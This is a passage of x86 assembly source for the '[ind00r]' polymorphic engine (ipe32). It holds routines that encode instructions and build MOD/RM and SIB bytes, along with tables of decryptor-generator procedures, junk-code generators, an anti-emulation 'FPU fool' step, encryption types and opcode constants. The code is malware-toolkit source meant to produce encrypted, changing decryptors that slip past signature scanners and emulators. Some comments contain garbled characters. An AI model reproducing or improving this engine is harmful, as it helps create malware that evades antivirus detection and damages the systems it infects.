|
|||
|
cmp edx, [esp + 04h]
|
|||
|
jne ciORIblah
|
|||
|
inc eax
|
|||
|
and byte ptr [esp], 00h
|
|||
|
inc eax ; use byte imm, sign extended to dword
|
|||
|
ciORIblah: jnz ciORInot_eax2
|
|||
|
|
|||
|
pop edx
|
|||
|
cmp cl, REG_EAX or MOD_REG ; register = EAX/AX/AL?
|
|||
|
jnz ciORInot_eax3 ; nope, create operation
|
|||
|
; from group 1 (immediate ops)
|
|||
|
shl bl, 03h ; operation type
|
|||
|
or bl, USE_EAX ; opcode ?4h or ?5h
|
|||
|
and al, 01h
|
|||
|
or al, bl ; add operand size
|
|||
|
stosb ; store opcode
|
|||
|
jmp ciORIwrite_imm ; write immediate value
|
|||
|
|
|||
|
ciORInot_eax2:
|
|||
|
pop edx
|
|||
|
ciORInot_eax3: stosb
|
|||
|
ciORIcreate_rm:
|
|||
|
call ciCreateOperand
|
|||
|
ciORIwrite_imm: test dl, dl
|
|||
|
jz ciORIimm8
|
|||
|
test dl, OPSIZE_16
|
|||
|
jnz ciORIimm16
|
|||
|
pop eax
|
|||
|
stosd
|
|||
|
jmp ciORIexit
|
|||
|
ciORIimm16: pop eax
|
|||
|
stosw
|
|||
|
jmp ciORIexit
|
|||
|
ciORIimm8: pop eax
|
|||
|
stosb
|
|||
|
ciORIexit: mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
ciOpRMImm endp
|
|||
|
|
|||
|
; ciCreateOperand
|
|||
|
;
|
|||
|
; creates MOD/RM byte and if needed SIB byte, and stores da displacement
|
|||
|
;
|
|||
|
; BL: register or additional opcode information
|
|||
|
;
|
|||
|
; CL: R/M operand. can be:
|
|||
|
; - register operand: REG_??? + MOD_REG
|
|||
|
; - memory operand, index register: REG_???
|
|||
|
; - memory operand, immediate addressing: MOD_DIRECT
|
|||
|
;
|
|||
|
; CH: second index register + scaling factor
|
|||
|
; REG_??? + NO_SCALE / SCALE_2/4/8
|
|||
|
; (use random value < SCALE_RND, to get random register & scaling).
|
|||
|
; if this byte is zero, no SIB byte is used.
|
|||
|
; take special care when using no scaling factor (logical or with
|
|||
|
; NO_SCALE)
|
|||
|
;
|
|||
|
; ESI: displacement
|
|||
|
; if this is zero, no displacement is used.
|
|||
|
; when usin' direct addressing (MOD_DIRECT), this register contains
|
|||
|
; immediate memory address.
|
|||
|
; if ESI is in the range between -128 and 127, 8-bit displacement is
|
|||
|
; used. when you're using 8-bit displacements calculate them like this:
|
|||
|
; movsx esi, rm8 ; rm8 = 8-bit register or memory operand
|
|||
|
; ; containing 8-bit displacement.
|
|||
|
; this check isn't performed when MOD_DISP8 or MOD_DISP32
|
|||
|
;
|
|||
|
ciCreateOperand proc
|
|||
|
pushad
|
|||
|
mov eax, ecx
|
|||
|
and al, MOD_REG
|
|||
|
cmp al, MOD_REG ; R/M operand = register?
|
|||
|
jz COcreate_mr ; yes, directly to ciCreateMODRM
|
|||
|
test cl, MOD_DIRECT ; direct addressing?
|
|||
|
jnz COno_disp
|
|||
|
mov eax, esi
|
|||
|
test eax, eax ; displacement = 0?
|
|||
|
jz COno_disp ; don't use displacement
|
|||
|
or cl, MOD_DISP32 ; set 32-bit displacement
|
|||
|
test cl, MOD_DIRECT
|
|||
|
jnz COno_disp
|
|||
|
movsx eax, al
|
|||
|
cmp eax, esi
|
|||
|
jne COno_disp
|
|||
|
xor cl, MOD_REG
|
|||
|
COno_disp: test ch, ch ; second index register?
|
|||
|
jz COcreate_mr ; no, we don't need SIB
|
|||
|
or cl, MOD_SIB ; set SIB flag
|
|||
|
COcreate_mr:
|
|||
|
; create MOD/RM byte
|
|||
|
;
|
|||
|
; BL = register or additional opcode information (bits 3, 4, 5)
|
|||
|
; CL = register or memory operand (bits 0,1,2)
|
|||
|
; - register operand: REG_??? + MOD_REG
|
|||
|
; - memory operand, no displacement: REG_??? + MOD_NODISP
|
|||
|
; - memory operand, 8-bit displacement: REG_??? + MOD_DISP8
|
|||
|
; - memory operand, 32-bit displacement: REG_??? + MOD_DISP32
|
|||
|
; - memory operand, immediate addressing: MOD_DIRECT
|
|||
|
; - sib memory operand, no displacement: MOD_SIB + MOD_NODISP
|
|||
|
; - sib memory operand, 8-bit displacement: MOD_SIB + MOD_DISP8
|
|||
|
; - sib memory operand, 32-bit displacement: MOD_SIB + MOD_DISP32
|
|||
|
; - sib memory operand, immediate addressing: MOD_DIRECT + MOD_SIB
|
|||
|
;
|
|||
|
; output:
|
|||
|
;
|
|||
|
; AL = displacement size:
|
|||
|
; MOD_NODISP
|
|||
|
; MOD_DISP8
|
|||
|
; MOD_DISP32
|
|||
|
; MOD_DIRECT
|
|||
|
; MOD_SIB ; if MOD_SIB the lower 3 bits are base register
|
|||
|
;
|
|||
|
; [EBP] with no displacement is immediate addressing. if you want [EBP],
|
|||
|
; this procedure generates zero 8-bit displacement. if you want immediate
|
|||
|
; address use MOD_DIRECT.
|
|||
|
;
|
|||
|
; [ESP] normally indicates that SIB byte follows. when you use [ESP] this
|
|||
|
; procedure generates SIB byte (24h). when you want to use SIB byte, use
|
|||
|
; MOD_SIB.
|
|||
|
;
|
|||
|
; if no displacement, sib byte and [ebp] as base, zero 8-bit displacement
|
|||
|
; is used if MOD_DIRECT + MOD_SIB, immediate address is used as base...
|
|||
|
; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib)
|
|||
|
; CL = base
|
|||
|
; REG_???
|
|||
|
; CH = index
|
|||
|
; REG_??? (not ESP) + NOSCALE/SCALE_2/4/8
|
|||
|
;
|
|||
|
; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib)
|
|||
|
|
|||
|
shl ebx, 03h ; register
|
|||
|
; let's check if operand is register
|
|||
|
|
|||
|
mov eax, ecx
|
|||
|
and al, MOD_REG ; clear bits 0-5
|
|||
|
xor al, MOD_REG ; invert bit 6 & 7
|
|||
|
jnz CMblah1 ; memory operand.
|
|||
|
xchg eax, ecx
|
|||
|
and al, 0C7h
|
|||
|
or eax, ebx
|
|||
|
stosb ; directly create it!
|
|||
|
xor eax, eax ; return MOD_NODISP
|
|||
|
jmp CMexit1
|
|||
|
CMblah1: mov eax, ecx
|
|||
|
and al, 0C7h
|
|||
|
cmp al, REG_EBP ; EBP and no displacement?
|
|||
|
jnz CMblah2
|
|||
|
or cl, MOD_DISP8 ; use 8-bit displacement
|
|||
|
CMblah2: mov eax, ecx
|
|||
|
and al, 07h or MOD_DIRECT or MOD_SIB
|
|||
|
cmp al, REG_ESP ; ESP is index reg?
|
|||
|
jnz CMblah3 ; nope
|
|||
|
or eax, ebx
|
|||
|
and cl, MOD_REG
|
|||
|
or eax, ecx
|
|||
|
stosb
|
|||
|
mov byte ptr [edi], 24h
|
|||
|
inc edi
|
|||
|
and al, MOD_REG
|
|||
|
jmp CMexit1
|
|||
|
CMblah3: mov eax, ecx
|
|||
|
test al, MOD_DIRECT ; direct addressing?
|
|||
|
jz CMblah4 ; nope
|
|||
|
and cl, 38h
|
|||
|
or cl, REG_EBP ; no displacement and EBP
|
|||
|
CMblah4: mov eax, ecx
|
|||
|
test al, MOD_SIB ; do we have SIB byte?
|
|||
|
jz CMblah6 ; no SIB byte
|
|||
|
|
|||
|
; set ESP as index register (SIB)
|
|||
|
|
|||
|
and al, 0C0h or MOD_SIB or MOD_DIRECT
|
|||
|
or al, REG_ESP
|
|||
|
and cl, 0C7h or MOD_SIB or MOD_DIRECT
|
|||
|
CMblah6: and al, 0C7h
|
|||
|
or eax, ebx
|
|||
|
stosb
|
|||
|
mov eax, ecx
|
|||
|
and al, 0C7h or MOD_SIB or MOD_DIRECT
|
|||
|
CMexit1:
|
|||
|
; created MOD/RM byte. now let's do the displacement
|
|||
|
|
|||
|
test eax, eax ; no displacement?
|
|||
|
jz COexit ; yes, exit
|
|||
|
test al, MOD_SIB ; SIB byte?
|
|||
|
jz COblah ; no, don't store SIB byte
|
|||
|
shl ch, 03h ; creatin' SIB byte
|
|||
|
push eax ; preserving addressing mode
|
|||
|
and al, REG_RND - 1 ; mask base register
|
|||
|
or al, ch
|
|||
|
stosb ; store SIB byte
|
|||
|
pop eax
|
|||
|
COblah: test al, MOD_DIRECT ; direct addressing?
|
|||
|
jnz COdirect ; yes, store VA & exit
|
|||
|
COblah2: test al, MOD_DISP8 ; do we have 8-bit displacement?
|
|||
|
jz COblah3 ; no, perform next check
|
|||
|
xchg esi, eax
|
|||
|
stosb
|
|||
|
jmp COexit
|
|||
|
COblah3: test al, MOD_DISP32
|
|||
|
jz COexit
|
|||
|
COdirect: xchg esi, eax
|
|||
|
stosd
|
|||
|
COexit: mov [esp], edi
|
|||
|
popad
|
|||
|
ret
|
|||
|
ciCreateOperand endp
|
|||
|
; initialized data
|
|||
|
db '[ind00r] polymorphic engine by slurp', 0
|
|||
|
|
|||
|
; decryptor instructions generator addresses (relative to idelta)
|
|||
|
Generatorz dd offset iProcLdPtr - idelta ; load pointer
|
|||
|
dd offset iProcLdCnt - idelta ; load counter
|
|||
|
dd offset iProcLdKey - idelta ; load key
|
|||
|
dd offset iProcDecData - idelta ; decrypt data
|
|||
|
dd offset iProcIncKey - idelta ; increment key
|
|||
|
dd offset iProcIncPtr - idelta ; increment pointer
|
|||
|
dd offset iProcDecCnt - idelta ; decrement counter
|
|||
|
dd offset iProcFPUFool - idelta ; neat stuff :O
|
|||
|
; junk instruction generator addresses (relative to idelta)
|
|||
|
|
|||
|
JunkGen dd offset iMemJunk - idelta
|
|||
|
dd offset iRegJunk - idelta
|
|||
|
JUNKGEN_CNT equ 02h
|
|||
|
|
|||
|
; decryptor procedures are called in this order:
|
|||
|
CallOrder1 db LOAD_POINTER ; <20>
|
|||
|
db LOAD_COUNTER ; <20> these procedures can
|
|||
|
db LOAD_KEY ; <20> be mixed.
|
|||
|
CALL_ORDER_1 equ $ - CallOrder1
|
|||
|
db DECRYPT_DATA ; stays at its place
|
|||
|
CALL_ORDER_2 equ $ - CallOrder1
|
|||
|
CallOrder2 db INC_KEY ; <20>
|
|||
|
db INC_POINTER ; <20> these procedures can
|
|||
|
db DEC_COUNTER ; <20> be mixed.
|
|||
|
db FPU_FOOL ; <20>
|
|||
|
db JUNK_PROCS dup (JUNK_PROC) ; <20>
|
|||
|
|
|||
|
; procedure order (1 byte for each procedures that will be mixed randomly)
|
|||
|
ProcedureOrder db LOAD_POINTER
|
|||
|
db LOAD_COUNTER
|
|||
|
db LOAD_KEY
|
|||
|
db DECRYPT_DATA
|
|||
|
db INC_KEY
|
|||
|
db INC_POINTER
|
|||
|
db DEC_COUNTER
|
|||
|
db FPU_FOOL
|
|||
|
db JUNK_PROCS dup (JUNK_PROC)
|
|||
|
PROC_ORDER equ $ - ProcedureOrder
|
|||
|
|
|||
|
; registerz
|
|||
|
Registers equ $
|
|||
|
preg db REG_ECX ; pointer register
|
|||
|
creg db REG_EDX ; counter register
|
|||
|
kreg db REG_EAX ; key register
|
|||
|
junkreg1 db REG_EBX ; junk register 1
|
|||
|
junkreg2 db REG_ESI ; junk register 2
|
|||
|
junkreg3 db REG_EDI ; junk register 3
|
|||
|
USED_REGS equ $ - Registers
|
|||
|
|
|||
|
RandomConst dd RANDOM_SEED ; random seed constant (unchanged
|
|||
|
; during runtime)
|
|||
|
idelta equ $ ; delta offset (held in ebp)
|
|||
|
|
|||
|
; uninitialized data
|
|||
|
|
|||
|
RandomSeed dd ? ; random seed (changed)
|
|||
|
|
|||
|
InitValues equ $ ; some values we have to initialize
|
|||
|
JunkSpSize dd ? ; size of junk space
|
|||
|
JunkSpRVA dd ? ; address of junk space
|
|||
|
DecryptRVA dd ? ; address of encrypted code
|
|||
|
CryptSize dd ? ; size of crypted code
|
|||
|
EncryptRVA dd ? ; address of code to encrypt
|
|||
|
CryptKey dd ? ; encryption key
|
|||
|
KeyIncrement dd ? ; key incrementation
|
|||
|
CryptType db ? ; encryption type (byte)
|
|||
|
KeyIncType db ? ; key increment type (byte)
|
|||
|
|
|||
|
ProcParameters db MAX_PROCS + 1 dup (?)
|
|||
|
ProcAddress dd MAX_PROCS + 1 dup (?)
|
|||
|
|
|||
|
JunkProcs db ? ; number of junk procedures
|
|||
|
ProcCount db ? ; number of procedures
|
|||
|
|
|||
|
CurrentProc db ? ; identifies current procedure when
|
|||
|
; in the generator loop.
|
|||
|
InLoop db ? ; boolean, if true we are
|
|||
|
; generating decryptor loop
|
|||
|
nojunk db ?
|
|||
|
; procedure number constantz
|
|||
|
LOAD_POINTER equ 00h
|
|||
|
LOAD_COUNTER equ 01h
|
|||
|
LOAD_KEY equ 02h
|
|||
|
DECRYPT_DATA equ 03h
|
|||
|
INC_KEY equ 04h ; increment key
|
|||
|
INC_POINTER equ 05h ; increment pointer by 4
|
|||
|
DEC_COUNTER equ 06h ; decrement counter by 1
|
|||
|
FPU_FOOL equ 07h ; some anti emulatin' stuff
|
|||
|
JUNK_PROC equ 08h
|
|||
|
MAX_PROCS equ JUNK_PROC + JUNK_PROCS + 1
|
|||
|
MIN_PROCS equ JUNK_PROC + 1
|
|||
|
JUNK_PROCS equ 04h ; maximal junk procedure count - 1
|
|||
|
|
|||
|
MAX_PARAMS equ 04h ; maximal number of parameters
|
|||
|
|
|||
|
; encryption type constantz
|
|||
|
ENC_XOR equ 00000000b ; xor encryption
|
|||
|
ENC_ADD equ 00000001b ; add encryption
|
|||
|
ENC_SUB equ 00000010b ; sub encryption
|
|||
|
ENC_ROL equ 00000011b ; rol encryption
|
|||
|
ENC_ROR equ 00000100b ; ror encryption
|
|||
|
ENC_RND equ 5
|
|||
|
|
|||
|
; key increment type constantz
|
|||
|
KEY_INC equ 00000000b ; rol key with random value
|
|||
|
KEY_DEC equ 00000001b ; ror key with random value
|
|||
|
KEY_ROL equ 00000010b ; inc key with random value
|
|||
|
KEY_ROR equ 00000011b ; dec key with random value
|
|||
|
KEY_RND equ 4
|
|||
|
; i386 instruction set constants
|
|||
|
; correct order of register on stack after a pushad. offset relative
|
|||
|
; to ESP
|
|||
|
PUSHAD_EAX equ (REG_EDI - REG_EAX) * 4 ; location of EAX
|
|||
|
PUSHAD_ECX equ (REG_EDI - REG_ECX) * 4 ; location of ECX
|
|||
|
PUSHAD_EDX equ (REG_EDI - REG_EDX) * 4 ; location of EDX
|
|||
|
PUSHAD_EBX equ (REG_EDI - REG_EBX) * 4 ; location of EBX
|
|||
|
PUSHAD_ESP equ (REG_EDI - REG_ESP) * 4 ; location of ESP
|
|||
|
PUSHAD_EBP equ (REG_EDI - REG_EBP) * 4 ; location of EBP
|
|||
|
PUSHAD_ESI equ (REG_EDI - REG_ESI) * 4 ; location of ESI
|
|||
|
PUSHAD_EDI equ (REG_EDI - REG_EDI) * 4 ; location of EDI
|
|||
|
PUSHAD_SIZE equ 8 * 04h ; size of pushad record
|
|||
|
|
|||
|
; dword registerz
|
|||
|
REG_EAX equ 00000000b
|
|||
|
REG_ECX equ 00000001b
|
|||
|
REG_EDX equ 00000010b
|
|||
|
REG_EBX equ 00000011b
|
|||
|
REG_ESP equ 00000100b
|
|||
|
REG_EBP equ 00000101b
|
|||
|
REG_ESI equ 00000110b
|
|||
|
REG_EDI equ 00000111b
|
|||
|
|
|||
|
; word registerz
|
|||
|
REG_AX equ 00000000b
|
|||
|
REG_CX equ 00000001b
|
|||
|
REG_DX equ 00000010b
|
|||
|
REG_BX equ 00000011b
|
|||
|
REG_SP equ 00000100b
|
|||
|
REG_BP equ 00000101b
|
|||
|
REG_SI equ 00000110b
|
|||
|
REG_DI equ 00000111b
|
|||
|
|
|||
|
; byte registerz
|
|||
|
REG_AL equ 00000000b
|
|||
|
REG_CL equ 00000001b
|
|||
|
REG_DL equ 00000010b
|
|||
|
REG_BL equ 00000011b
|
|||
|
REG_AH equ 00000100b
|
|||
|
REG_CH equ 00000101b
|
|||
|
REG_DH equ 00000110b
|
|||
|
REG_BH equ 00000111b
|
|||
|
|
|||
|
; fpu registerz
|
|||
|
REG_ST0 equ 00000000b
|
|||
|
REG_ST1 equ 00000001b
|
|||
|
REG_ST2 equ 00000010b
|
|||
|
REG_ST3 equ 00000011b
|
|||
|
REG_ST4 equ 00000100b
|
|||
|
REG_ST5 equ 00000101b
|
|||
|
REG_ST6 equ 00000110b
|
|||
|
REG_ST7 equ 00000111b
|
|||
|
|
|||
|
REG_RND equ REG_EDI + 1
|
|||
|
|
|||
|
; jump opcode constantz
|
|||
|
JMP_SHORT equ 0EBh
|
|||
|
JMP_LONG equ 0E9h
|
|||
|
JMPC_SHORT equ 070h
|
|||
|
JMPC_LONG equ 080h ; 2 byte opcode!
|
|||
|
|
|||
|
; conditions
|
|||
|
|
|||
|
COND_C equ 002h ; carry
|
|||
|
COND_NC equ 003h ; no carry
|
|||
|
COND_E equ 004h ; equal A = B
|
|||
|
COND_NE equ 005h ; not equal A != B
|
|||
|
COND_Z equ 004h ; zero A = B
|
|||
|
COND_NZ equ 005h ; not zero A != B
|
|||
|
COND_S equ 008h ; sign msb = 1
|
|||
|
COND_NS equ 009h ; no sign msb = 0
|
|||
|
COND_P equ 00Ah ; parity even lsb = 0
|
|||
|
COND_NP equ 00Bh ; parity odd lsb = 1
|
|||
|
COND_O equ 000h ; overflow msb was toggled
|
|||
|
COND_NO equ 001h ; no overflow msb wasn't toggled
|
|||
|
|
|||
|
COND_B equ COND_C ; below A > B
|
|||
|
COND_NAE equ COND_B ; neither above or equal A > B
|
|||
|
COND_NB equ COND_NC ; not below A <20> B
|
|||
|
COND_AE equ COND_NB ; above or equal A <20> B
|
|||
|
COND_BE equ 006h ; below or equal A <20> B
|
|||
|
COND_NA equ COND_BE ; not above A <20> B
|
|||
|
COND_NBE equ 007h ; neither below or equal A < B
|
|||
|
COND_A equ COND_NBE ; above A < B
|
|||
|
COND_L equ 00Ch ; less A > B
|
|||
|
COND_NGE equ COND_L ; neither greater or equal A > B
|
|||
|
COND_NL equ 00Dh ; not less A <20> B
|
|||
|
COND_GE equ COND_NL ; greater or equal A <20> B
|
|||
|
COND_LE equ 00Eh ; less or equal A <20> B
|
|||
|
COND_NG equ COND_LE ; not greater A <20> B
|
|||
|
COND_NLE equ 00Fh ; neither less or equal A < B
|
|||
|
COND_G equ COND_NLE ; greater A < B
|
|||
|
|
|||
|
; call opcode constantz
|
|||
|
CALL_DIRECT equ 0E8h
|
|||
|
|
|||
|
; procedure commands
|
|||
|
PROC_ENTER equ 0C8h
|
|||
|
PROC_LEAVE equ 0C9h
|
|||
|
PROC_RETP equ 0C2h
|
|||
|
PROC_RET equ 0C3h
|
|||
|
MOV_EBP_ESP equ 0EC8Bh
|
|||
|
|
|||
|
; stack opcodes
|
|||
|
PUSH_REG equ 050h ; xor REG_???
|
|||
|
POP_REG equ 058h
|
|||
|
PUSH_IMM equ 068h
|
|||
|
PUSH_IMM_SX equ 06Ah
|
|||
|
POP_MEM equ 08Fh
|
|||
|
|
|||
|
; increment/decrement opcodes
|
|||
|
INC_REG equ 040h
|
|||
|
DEC_REG equ 048h
|
|||
|
INCDEC_GROUP equ 0FEh
|
|||
|
|
|||
|
; mov opcodes
|
|||
|
MOV_REG_RM equ 0
|
|||
|
MOV_REG_IMM equ 0B0h ; mov register, immediate
|
|||
|
MOV_REG_IMM8 equ 0B0h
|
|||
|
MOV_REG_IMM32 equ 0B8h
|
|||
|
MOV_MEM_IMM equ 0C6h ; mov memory, immediate
|
|||
|
|
|||
|
; extended mov opcodes
|
|||
|
|
|||
|
MOVX equ 0B6h
|
|||
|
MOVX_BYTE equ 000h
|
|||
|
MOVX_WORD equ 001h
|
|||
|
MOVX_ZX equ 000h
|
|||
|
MOVX_SX equ 008h
|
|||
|
|
|||
|
; load effective address
|
|||
|
LOAD_EA equ 08Dh
|
|||
|
|
|||
|
; Flag set/clear commands
|
|||
|
CLR_CRY equ 0F8h
|
|||
|
SET_CRY equ 0F9h
|
|||
|
CLR_INT equ 0FAh
|
|||
|
SET_INT equ 0FBh
|
|||
|
CLR_DIR equ 0FCh
|
|||
|
SET_DIR equ 0FDh
|
|||
|
|
|||
|
; Common opcode constants
|
|||
|
|
|||
|
; prefixes
|
|||
|
ESC_2BYTE equ 0Fh
|
|||
|
OPERAND_SIZE equ 66h
|
|||
|
ADDRESS_SIZE equ 67h
|
|||
|
|
|||
|
; segment override prefix
|
|||
|
OVERRIDE_FS equ 64h
|
|||
|
OVERRIDE_GS equ 65h
|
|||
|
|
|||
|
; operand size
|
|||
|
OPSIZE_8 equ 00h
|
|||
|
OPSIZE_32 equ 01h
|
|||
|
OPSIZE_16 equ 02h
|
|||
|
|
|||
|
; direction
|
|||
|
MEM_REG equ 00h
|
|||
|
REG_MEM equ 01h
|
|||
|
|
|||
|
; some opcodes support direct EAX/AX/AL access
|
|||
|
USE_EAX equ 04h
|
|||
|
|
|||
|
XCHG_EAX_REG equ 090h ; add register number to get opcode (not eax)
|
|||
|
OP_NOP equ 090h ; very obsolete :x<
|
|||
|
TEST_EAX_IMM equ 0A8h
|
|||
|
|
|||
|
; Shift operation constants
|
|||
|
OP_SHIFT equ 0C0h
|
|||
|
|
|||
|
SHIFT_IMM equ 000h ; shift immediate
|
|||
|
SHIFT_1 equ 001h ; shift 1 time
|
|||
|
SHIFT_CL equ 002h ; shift cl times
|
|||
|
SHIFT_RND equ 003h ; for choosing random shift.
|
|||
|
|
|||
|
ROL_SHIFT equ 000h
|
|||
|
ROR_SHIFT equ 001h
|
|||
|
RCL_SHIFT equ 002h
|
|||
|
RCR_SHIFT equ 003h
|
|||
|
SHL_SHIFT equ 004h
|
|||
|
SHR_SHIFT equ 005h
|
|||
|
SAR_SHIFT equ 006h
|
|||
|
RND_SHIFT equ 007h
|
|||
|
|
|||
|
OP_GROUP1 equ 080h ; opcode for immediate group 1
|
|||
|
OP_GROUP3 equ 0F6h ; opcode for shift group 3
|
|||
|
|
|||
|
; jmp, call, push, inc, dec group
|
|||
|
OP_GROUP5 equ 0FFh ; opcode for jmpcallpushincdec group 5
|
|||
|
|
|||
|
P_INC equ 000h
|
|||
|
P_DEC equ 001h
|
|||
|
P_CALL_NEAR equ 002h ; call dword ptr
|
|||
|
P_CALL_FAR equ 003h ; call 48-bit ptr
|
|||
|
P_JMP_NEAR equ 004h ; jmp dword ptr
|
|||
|
P_JMP_FAR equ 005h ; jmp 48-bit ptr
|
|||
|
P_PUSH equ 006h
|
|||
|
|
|||
|
; Math operation constants
|
|||
|
OPTYPE_ADD equ 00h
|
|||
|
OPTYPE_OR equ 01h
|
|||
|
OPTYPE_ADC equ 02h
|
|||
|
OPTYPE_SBB equ 03h
|
|||
|
OPTYPE_AND equ 04h
|
|||
|
OPTYPE_SUB equ 05h
|
|||
|
OPTYPE_XOR equ 06h
|
|||
|
OPTYPE_CMP equ 07h
|
|||
|
OPTYPE_MOV equ 008h
|
|||
|
OPTYPE_TEST equ 009h
|
|||
|
OPTYPE_XCHG equ 00Ah
|
|||
|
|
|||
|
; Math opcode constants
|
|||
|
MATH_ADD equ OPTYPE_ADD shl 03h
|
|||
|
MATH_OR equ OPTYPE_OR shl 03h
|
|||
|
MATH_ADC equ OPTYPE_ADC shl 03h
|
|||
|
MATH_SBB equ OPTYPE_SBB shl 03h
|
|||
|
MATH_AND equ OPTYPE_AND shl 03h
|
|||
|
MATH_SUB equ OPTYPE_SUB shl 03h
|
|||
|
MATH_XOR equ OPTYPE_XOR shl 03h
|
|||
|
MATH_CMP equ OPTYPE_CMP shl 03h
|
|||
|
|
|||
|
; Immediate opcode constants
|
|||
|
IMM_OP equ 80h
|
|||
|
IMM_SX equ 03h ; sign extended immediate
|
|||
|
|
|||
|
; MOD/RM constants
|
|||
|
|
|||
|
; MOD bits
|
|||
|
MOD_NODISP equ 000h ; no displacement
|
|||
|
MOD_DISP8 equ 040h ; 8-bit displacement
|
|||
|
MOD_DISP32 equ 080h ; 32-bit displacement
|
|||
|
MOD_REG equ 0C0h ; register
|
|||
|
_MOD equ 011000000b ; mask for MOD-field
|
|||
|
|
|||
|
MOD_DIRECT equ 00001000b ; use immediate address
|
|||
|
MOD_SIB equ 00010000b ; use sib byte
|
|||
|
|
|||
|
; REG bits
|
|||
|
_REG equ 000111000b ; mask for REG-field
|
|||
|
|
|||
|
; RM bits
|
|||
|
RM_DIRECT equ REG_EBP xor MOD_NODISP
|
|||
|
RM_SIB equ REG_ESP
|
|||
|
_RM equ 000000111b ; mask for RM field
|
|||
|
|
|||
|
; FPU opcodes
|
|||
|
|
|||
|
FPU_OPCODE equ 0D8h
|
|||
|
FPU_DWORD_OP equ 0D8h ; dword ops/fpu reg ops
|
|||
|
FPU_DWORD_LDST equ 0D9h ; group 1 - 4, FLD, FST, ...
|
|||
|
FPU_INT_OP equ 0DAh ; dword operations
|
|||
|
FPU_INT_LDST equ 0DBh ; group 5, FILD, FIST
|
|||
|
FPU_QWORD_OP equ 0DCh ; qword ops/fpu reg ops
|
|||
|
FPU_QWORD_LDST equ 0DDh ; qword FILD, FIST
|
|||
|
FPU_WORD_OP equ 0DEh ; word ops (only mem), and reversed arithmetix
|
|||
|
FPU_WORD_LDST equ 0DFh ; word FILD, FIST
|
|||
|
|
|||
|
; FPU opcode + MOD/RM (bl = FPU_FMUL, FDIV...)
|
|||
|
;
|
|||
|
; they'll fit to the following opcodez:
|
|||
|
; FPU_DWORD_OP, FPU_QWORD_OP & FPU_WORD_OP
|
|||
|
; IMPORTANT: note that the word operations won't work with fpu registers!
|
|||
|
|
|||
|
FPU_ADD equ 000b ; MOD/RM bit 3,4,5 = 001
|
|||
|
FPU_MUL equ 001b
|
|||
|
FPU_CMP equ 010b
|
|||
|
FPU_COMP equ 011b
|
|||
|
FPU_SUB equ 100b
|
|||
|
FPU_SUBR equ 101b
|
|||
|
FPU_DIV equ 110b
|
|||
|
FPU_DIVR equ 111b
|
|||
|
|
|||
|
; FPU_WORD_OP group contains some opcodes with reversed register order.
|
|||
|
; this means first comes st(?) and then the first register.
|
|||
|
FPU_ADDP equ 000b ; MOD/RM bit 3,4,5 = 001
|
|||
|
FPU_MULP equ 001b
|
|||
|
FPU_COMPP equ 011b
|
|||
|
FPU_SUBRP equ 100b
|
|||
|
FPU_SUBP equ 101b
|
|||
|
FPU_DIVRP equ 110b
|
|||
|
FPU_DIVP equ 111b
|
|||
|
|
|||
|
FPU_DIR1 equ 000h ; direction st, st(?)
|
|||
|
FPU_DIR2 equ 004h ; direction st(?), st
|
|||
|
|
|||
|
; FPU stand alone instructions
|
|||
|
FPU_INIT equ 0E3DBh
|
|||
|
FPU_SQRT equ 0FAD9h
|
|||
|
|
|||
|
FPU_LD1 equ 0E8D9h
|
|||
|
FPU_LDL2T equ 0E9D9h
|
|||
|
FPU_LDL2E equ 0EAD9h
|
|||
|
FPU_LDPI equ 0EBD9h
|
|||
|
FPU_LDLG2 equ 0ECD9h
|
|||
|
FPU_LDLN2 equ 0EDD9h
|
|||
|
FPU_LDZ equ 0EED9h
|
|||
|
|
|||
|
FPU_WAIT equ 09Bh
|
|||
|
|
|||
|
FPU_STORE equ 02h
|
|||
|
FPU_LOAD equ 00h
|
|||
|
; end of ipe32
|